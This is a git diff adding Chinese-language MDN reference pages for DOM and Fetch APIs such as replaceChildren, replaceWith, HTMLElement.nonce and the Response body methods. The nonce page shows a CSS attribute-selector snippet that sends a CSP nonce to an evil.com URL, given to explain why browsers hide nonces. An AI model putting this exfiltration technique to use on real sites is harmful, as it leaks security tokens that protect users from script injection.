+      <option>素比萨</option>
+    </select>
+  </div>
+
+  <div class="buttons">
+    <button id="to-yes">转移到"是" --&gt;</button>
+    <button id="to-no">&lt;-- 转移到 "否"</button>
+  </div>
+
+  <div>
+    <label for="yes">是的，请！</label>
+
+    <select id="yes" multiple size="10">
+
+    </select>
+  </div>
+</main>
+ +

使用一些简单的 CSS 将两个选择列表排成一行，并将控制按钮放置在它们之间是很有意义的：

+ +
main {
+  display: flex;
+}
+
+div {
+  margin-right: 20px;
+}
+
+label, button {
+  display: block;
+}
+
+.buttons {
+  display: flex;
+  flex-flow: column;
+  justify-content: center;
+}
+
+select {
+  width: 200px;
+}
+ +

我们要做的是，当按下 “是” 按钮时，将 “否” 列表中的所有选定选项都转移到 “是” 列表中，然后当按下“否”按钮时，将 “是” 列表中的所有选定选项都转移到 “否” 列表中。

+ +

为此，我们为每个按钮提供一个 click 事件处理句柄，该事件句柄将所选选项赋值到第一个常量中，将要转移到的列表中的现有的选项赋值到第二个常量中。然后，它会调用列表的 replaceChildren() 方法，使用延展运算符传入两个常量，进而将两个常量中包含的所有选项转移到目标列表。

+ +
const noSelect = document.getElementById('no');
+const yesSelect = document.getElementById('yes');
+const noBtn = document.getElementById('to-no');
+const yesBtn = document.getElementById('to-yes');
+
+yesBtn.addEventListener('click', () => {
+  const selectedTransferOptions = document.querySelectorAll('#no option:checked');
+  const existingYesOptions = document.querySelectorAll('#yes option');
+  yesSelect.replaceChildren(...selectedTransferOptions, ...existingYesOptions);
+});
+
+noBtn.addEventListener('click', () => {
+  const selectedTransferOptions = document.querySelectorAll('#yes option:checked');
+  const existingNoOptions = document.querySelectorAll('#no option');
+  noSelect.replaceChildren(...selectedTransferOptions, ...existingNoOptions);
+});
+ +

最终结果如下：

+ +

{{EmbedLiveSample('Transferring_nodes_between_parents', '100%', '350')}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-Element-replacechildren', 'Element.replaceChildren()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.replaceChildren")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/replacewith/index.html b/files/zh-cn/web/api/element/replacewith/index.html new file mode 100644 index 0000000000..9f3ef5bd88 --- /dev/null +++ b/files/zh-cn/web/api/element/replacewith/index.html @@ -0,0 +1,112 @@ +--- +title: ChildNode.replaceWith() +slug: orphaned/Web/API/ChildNode/replaceWith +tags: + - DOM + - Node +translation_of: Web/API/ChildNode/replaceWith +original_slug: Web/API/ChildNode/replaceWith +--- +
{{APIRef("DOM")}} {{SeeCompatTable}}
+ +

ChildNode.replaceWith() 的方法用一套 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象，替换了该节点父节点下的子节点 。{{domxref("DOMString")}} 对象被当做等效的{{domxref("Text")}} 节点插入。

+ +

语法

+ +
[Throws, Unscopable]
+void ChildNode.replaceWith((Node or DOMString)... nodes);
+
+ +

参数

+ +
+
节点
+
一系列用来替换的{{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。
+
+ +

例外

+ + + +

案例

+ +

Using replaceWith()

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.replaceWith(span);
+
+console.log(parent.outerHTML);
+// "<div><span></span></div>"
+
+ +

ChildNode.replaceWith() is unscopable

+ +

replaceWith()的方法并没有作用于with语句. 参考 {{jsxref("Symbol.unscopables")}} 获取更多信息.

+ +
with(node) {
+  replaceWith("foo");
+}
+// ReferenceError: replaceWith is not defined
+ +

Polyfill

+ +

你可以在IE9及更高级的浏览器中使用下面的代码向上兼容replaceWith()的方法:

+ +
(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('replaceWith')) {
+      return;
+    }
+    Object.defineProperty(item, 'replaceWith', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function replaceWith() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.replaceChild(docFrag, this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.ChildNode.replaceWith")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html new file mode 100644 index 0000000000..018a276376 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/nonce/index.html @@ -0,0 +1,62 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +translation_of: Web/API/HTMLElement/nonce +tags: + - API + - Content Security Policy + - Experimental + - HTML DOM + - HTMLElement + - Property + - Reference + - nonce +browser-compat: api.HTMLElement.nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。

+ +

在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。

+ +

语法

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

访问nonce属性值

+ +

以前，并不是所有的浏览器都支持 nonce IDL属性，因此在实际应用场景中，尝试使用getAttribute 作为备选：

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

然而，最新的浏览器版本都隐藏了 nonce 值（返回一个空值）。IDL属(script['nonce'])成为唯一的访问方式。

+ +

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

支持的浏览器

+ +
+

{{Compat("api.HTMLElement.nonce")}}

+
\ No newline at end of file diff --git a/files/zh-cn/web/api/renderingcontext/index.html b/files/zh-cn/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..3a1477c435 --- /dev/null +++ b/files/zh-cn/web/api/renderingcontext/index.html @@ -0,0 +1,30 @@ +--- +title: RenderingContext +slug: orphaned/Web/API/RenderingContext +translation_of: Web/API/RenderingContext +original_slug: Web/API/RenderingContext +--- +

{{APIRef("Canvas API")}}

+ +

RenderingContext 是一个辅助类型，描述下面任何一个渲染上下文：  {{domxref("CanvasRenderingContext2D")}}， {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} （继承自 WebGLRenderingContext）。

+ +

这是简化规范的辅助类型，它不是一个接口，也没有对象实现它。

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

 

\ No newline at end of file diff --git a/files/zh-cn/web/api/response/arraybuffer/index.html b/files/zh-cn/web/api/response/arraybuffer/index.html new file mode 100644 index 0000000000..48ec4e65a2 --- /dev/null +++ b/files/zh-cn/web/api/response/arraybuffer/index.html @@ -0,0 +1,150 @@ +--- +title: Response.arrayBuffer() +slug: Web/API/Response/arrayBuffer +translation_of: Web/API/Response/arrayBuffer +tags: + - API + - ArrayBuffer + - Fetch + - Method + - Reference + - Response +browser-compat: api.Response.arrayBuffer +--- +

{{APIRef("Fetch")}}{{ SeeCompatTable() }}

+ +

 {{domxref("Response")}}上的方法 arrayBuffer() 接受一个 {{domxref("Response")}} 流, 并等待其读取完成. 它返回一个 promise 实例, 并 resolve 一个 {{domxref("ArrayBuffer")}} 对象.

+ +

语法

+ +
response.arrayBuffer().then(function(buffer) {
+  // do something with buffer
+)};
+ +

参数

+ +

无。

+ +

返回值

+ +

A promise that resolves with an {{domxref("ArrayBuffer")}}.

+ +

例子

+ +

In our fetch array buffer example (run fetch array buffer live), we have a Play button. When pressed, the getData() function is run.

+ +

In getData() we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch an OGG music track. We also use {{domxref("AudioContext.createBufferSource")}} to create an audio buffer source.  When the fetch is successful, we read an {{domxref("ArrayBuffer")}} out of the response using arrayBuffer(), decode the audio data using {{domxref("AudioContext.decodeAudioData")}}, set the decoded data as the audio buffer source's buffer (source.buffer), then connect the source up to the {{domxref("AudioContext.destination")}}.

+ +

Once getData() has finished running, we start the audio source playing with start(0), then disable the play button so it can't be clicked again when it is already playing (this would cause an error.)

+ +
function getData() {
+  source = audioCtx.createBufferSource();
+
+  var myRequest = new Request('viper.ogg');
+
+  fetch(myRequest).then(function(response) {
+    response.arrayBuffer().then(function(buffer) {
+      audioCtx.decodeAudioData(buffer, function(decodedData) {
+        source.buffer = decodedData;
+        source.connect(audioCtx.destination);
+      });
+    });
+  });
+};
+
+// wire up buttons to stop and play audio
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+ +

标准

+ + + + + + + + + + + + + + +
标准状态备注
{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(41) }}[1]
+ {{ CompatChrome(42) }}
+  		34[1]
+ {{ CompatGeckoDesktop(39)}}		{{ CompatNo }} +

28[1]
+ 29

+ 		{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] In Chrome 42, Firefox 34 and Opera 28 support for arrayBuffer() was hidden behind a preference.

+ +

参考

+ + + + diff --git a/files/zh-cn/web/api/response/blob/index.html b/files/zh-cn/web/api/response/blob/index.html new file mode 100644 index 0000000000..89444de3d4 --- /dev/null +++ b/files/zh-cn/web/api/response/blob/index.html @@ -0,0 +1,142 @@ +--- +title: Response.blob() +slug: Web/API/Response/blob +translation_of: Web/API/Response/blob +tags: + - API + - Blob + - Fetch + - Method + - Reference + - Response +browser-compat: api.Response.blob +--- +

{{APIRef("Fetch")}}

+ +

{{domxref("Response")}}  mixin的 blob()方法使用一个 {{domxref("Response")}} 流，并将其读取完成。它返回一个使用{{domxref("Blob")}}解决的promise。

+ +

句法

+ +
response.blob().then(function(myBlob) {
+  // do something with myBlob
+});
+ +

参数

+ +

None.

+ +

返回值

+ +

A promise that resolves with a {{domxref("Blob")}}.

+ +

例子

+ +

在我们 fetch request example (run fetch request live)中，我们使用Request.Request构造方法创建了一个新的request对象，然后使用它来获取一个JPG文件。当fetch成功的时候，我们使用blob()从response中读取一个Blob对象，并使用URL.createObjectURL 将它放入一个object URL ，然后把URL设置为img元素的src属性以显示这张图片。

+ +

 

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest)
+.then(function(response) {
+  return response.blob();
+})
+.then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Fetch','#dom-body-blob','blob()')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }} [1]
+  		{{CompatVersionUnknown}}{{ CompatGeckoDesktop(39)}} [2]{{ CompatNo }} +

29 [3]

+ 		{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatVersionUnknown}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] Behind a preference in version 41.

+ +

[2] Behind a preference starting with version 34.

+ +

[3] Behind a preference in version 28.

+ +

另见

+ + diff --git a/files/zh-cn/web/api/response/body/index.html b/files/zh-cn/web/api/response/body/index.html new file mode 100644 index 0000000000..ffd78b8dfe --- /dev/null +++ b/files/zh-cn/web/api/response/body/index.html @@ -0,0 +1,94 @@ +--- +title: Response.body +slug: Web/API/Response/body +translation_of: Web/API/Response/body +tags: + - API + - Fetch + - Property + - Reference + - Streams + - Response +browser-compat: api.Response.body +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} mixin的只读getter属性 body 用于暴露其body内容的{{domxref("ReadableStream")}}（流读取）。

+ +

语法

+ +
var stream = responseInstance.body;
+ +

Value

+ +

一个 {{domxref("ReadableStream")}}.

+ +

例程

+ +

在我们的 simple stream pump 例程中我们fetch一个图片地址，使用response.body暴露响应的流，用{{domxref("Response.getReader()", "ReadableStream.getReader()")}}创建一个读取器，然后将其置入第二个自定义读取流中——有效的创建了一个完全相同的图片副本。

+ +
const image = document.getElementById('target');
+
+// 请求原始图片
+fetch('./tortoise.png')
+// 取出body
+.then(response => response.body)
+.then(body => {
+  const reader = Response.getReader();
+
+  return new ReadableStream({
+    start(controller) {
+      return pump();
+
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // 读不到更多数据就关闭流
+          if (done) {
+            controller.close();
+            return;
+          }
+
+          // 将下一个数据块置入流中
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Fetch','#dom-body-body','body')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +
{{Compat("api.Response.body")}}
+ +

 

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/response/bodyused/index.html b/files/zh-cn/web/api/response/bodyused/index.html new file mode 100644 index 0000000000..2e9428b9c2 --- /dev/null +++ b/files/zh-cn/web/api/response/bodyused/index.html @@ -0,0 +1,142 @@ +--- +title: Response.bodyUsed +slug: Web/API/Response/bodyUsed +translation_of: Web/API/Response/bodyUsed +tags: + - API + - Fetch + - Property + - Reference + - bodyUsed + - Response +browser-compat: api.Response.bodyUsed +--- +

{{APIRef("Fetch")}}{{ SeeCompatTable }}

+ +

bodyUsed 是{{domxref("Response")}} mixin中的一个只读属性。用以表示该body是否被使用过。

+ +

语法

+ +
var myBodyUsed = response.bodyUsed;
+ +

可能的值

+ +

{{domxref("Boolean")}}.

+ +

示例

+ +

在以下fetch 请求示例（运行 fetch request live）。通过{{domxref("Request.Request")}}构造器创建了一个fetch请求，来获得一张JPG图片。当fetch成功后，通过{{domxref("Blob")}} 来使用了fetch返回的资源--{{domxref("URL.createObjectURL")}}创建该资源的URL，并作为 {{htmlelement("img")}}元素的src源来显示图片。

+ +

注意：在response.blob()被调用前后，输出response.bodyUsed的差异。

+ +

HTML Content

+ +
<img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png">
+
+ +

JS Content

+ +
var myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg').then(function(response) {
+    console.log(response.bodyUsed);
+    var res = response.blob();
+    console.log(response.bodyUsed);
+    return res;
+}).then(function(response) {
+    var objectURL = URL.createObjectURL(response);
+    myImage.src = objectURL;
+});
+ +

{{ EmbedLiveSample('Example', '100%', '250px') }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-bodyused','bodyUsed')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(42) }} [1]
+  		{{CompatVersionUnknown}}{{ CompatGeckoDesktop(39)}} [2]{{ CompatNo }} +

29 [3]

+ 		{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatVersionUnknown}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] Behind a preference in version 41.

+ +

[2] Behind a preference starting with version 34.

+ +

[3] Behind a preference in version 28.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/response/formdata/index.html b/files/zh-cn/web/api/response/formdata/index.html new file mode 100644 index 0000000000..26b61274fe --- /dev/null +++ b/files/zh-cn/web/api/response/formdata/index.html @@ -0,0 +1,132 @@ +--- +title: Response.formData() +slug: Web/API/Response/formData +translation_of: Web/API/Response/formData +tags: + - API + - Fetch + - Fetch API + - FormData + - Method + - NeedsExample + - Reference + - Response +browser-compat: api.Response.formData +--- +
{{APIRef("Fetch")}}
+ +

 {{domxref("Response")}} 对象中的formData() 方法将 {{domxref("Response")}} 对象中的所承载的数据流读取并封装成为一个对象，该方法将返回一个 Promise  对象，该对象将产生一个{{domxref("FormData")}} 对象。

+ +
+

注意: 该方法主要与 service workers 有关. 如果客户端提交的一个表单请求被Service Worker 所截取，您可以像下述的样例一样，调用 formData() 方法来获取一个key-value 字典, 对该字典可以进行修饰, 然后将修饰后的表填提交给远端服务器 (或在本地应用)。

+
+ +

语法

+ +
response.formData()
+.then(function(formdata) {
+  // do something with your formdata
+});
+ +

参数

+ +

无。

+ +

返回值

+ +

生成 {{domxref("FormData")}}对象的{{domxref("Promise")}} 对象.

+ +

样例

+ +

待定.

+ +

详述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-formdata','formData()')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatChrome(60)}}

+ 		{{ CompatGeckoDesktop(39)}} [1]{{ CompatNo }} +

{{CompatOpera(47)}}

+ 		{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support +

{{CompatChrome(60)}}

+ 		+

{{CompatChrome(60)}}

+ 		{{ CompatNo }}{{ CompatNo }}{{ CompatNo }} +

{{CompatOperaMobile(47)}}

+ 		{{ CompatNo }}
+
+ +

[1] Behind a preference starting with version 34.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/response/json/index.html b/files/zh-cn/web/api/response/json/index.html new file mode 100644 index 0000000000..360c349054 --- /dev/null +++ b/files/zh-cn/web/api/response/json/index.html @@ -0,0 +1,91 @@ +--- +title: Response.json() +slug: Web/API/Response/json +translation_of: Web/API/Response/json +tags: + - API + - Fetch + - JSON + - Method + - Reference + - Response +browser-compat: api.Response.json +--- +
{{APIRef("Fetch")}}
+ +
{{domxref("Response")}}  mixin 的 json() 方法接收一个 {{domxref("Response")}} 流，并将其读取完成。它返回一个 Promise，Promise 的解析 resolve 结果是将文本体解析为 {{jsxref("JSON")}}。
+ +

语法

+ +
response.json().then(data => {
+  // do something with your data
+});
+ +

参数

+ +

没有。

+ +

返回值

+ +

返回一个被解析为JSON格式的promise对象，这可以是任何可以由JSON表示的东西 - 一个object，一个array，一个string，一个number...

+ +

示例

+ +

在我们的  fetch json 示例 中(运行 fetch json live), 我们使用 {{domxref("Request.Request")}} 构造函数创建一个新的请求, 然后使用它来获取一个 .json 文件。当获取成功时，我们使用 json() 读取并解析数据，然后像预期的那样从结果对象中读取值，并将其插入到列表项中以显示我们的产品数据。

+ +
const myList = document.querySelector('ul');
+const myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(response => response.json())
+  .then(data => {
+    for (const product of data.products) {
+      let listItem = document.createElement('li');
+      listItem.appendChild(
+        document.createElement('strong')
+      ).textContent = product.Name;
+      listItem.append(
+        ` can be found in ${
+          product.Location
+        }. Cost: `
+      );
+      listItem.appendChild(
+        document.createElement('strong')
+      ).textContent = `£${product.Price}`;
+      myList.appendChild(listItem);
+    }
+  });
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fetch", "#dom-body-json", "Response.json()")}}{{Spec2("Fetch")}}Initial definition
+ + +

浏览器兼容性

+ + + +

{{Compat("api.Response.json")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/response/text/index.html b/files/zh-cn/web/api/response/text/index.html new file mode 100644 index 0000000000..a56418518f --- /dev/null +++ b/files/zh-cn/web/api/response/text/index.html @@ -0,0 +1,88 @@ +--- +title: Response.text() +slug: Web/API/Response/text +translation_of: Web/API/Response/text +tags: + - API + - Fetch + - Method + - Reference + - Text + - Response +browser-compat: api.Response.text +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Response")}} mixin 的 text() 方法提供了一个可供读取的“返回流”（{{domxref("Response")}} stream），并将它读取完。它返回一个包含 {{domxref("USVString")}} 对象（也就是文本）的 Promise 对象，返回结果的编码永远是 UTF-8。

+ +

语法

+ +
response.text().then(function (text) {
+  // do something with the text response
+});
+ +

参数

+ +

无。

+ +

返回值

+ +

A promise that resolves with a {{domxref("USVString")}}.

+ +

示例

+ +

在我们 fetch text example (运行 fetch text live)的案例中， 我们有一个 {{htmlelement("article")}} 元素和三个链接（储存在 myLinks 数组中），首先，遍历 myLinks 数组，并且给数组中的所有元素添加 onclick 事件监听器，当按钮被点击的时候，链接的 data-page 标识作为会参数传入 getData() 中。

+ +

当进入 getData() 函数， 我们使用 {{domxref("Request.Request","Request()")}} 构造函数创建了一个请求（Request）对象，然后，使用它获取指定的.txt的文件， 当fetch 函数执行成功， 我们使用 text() 函数来返回一个{{jsxref("USVString")}} (text) 对象，将它设置到 {{htmlelement("article")}} 对象的{{domxref("Element.innerHTML","innerHTML")}} （元素文本）中。

+ +
const myArticle = document.querySelector('article');
+const myLinks   = document.querySelectorAll('ul a');
+
+for(i = 0; i <= myLinks.length-1; i++) {
+  myLinks[i].onclick = function(e) {
+    e.preventDefault();
+    var linkData = e.target.getAttribute('data-page');
+    getData(linkData);
+  }
+};
+
+function getData(pageId) {
+  console.log(pageId);
+  const myRequest = new Request(pageId + '.txt');
+  fetch(myRequest).then(function(response) {
+    return response.text().then(function(text) {
+      myArticle.innerHTML = text;
+    });
+  });
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Fetch','#dom-body-text','text()')}}{{Spec2('Fetch')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Response.text")}}

+ +

See also

+ + -- cgit v1.2.3-54-g00ecf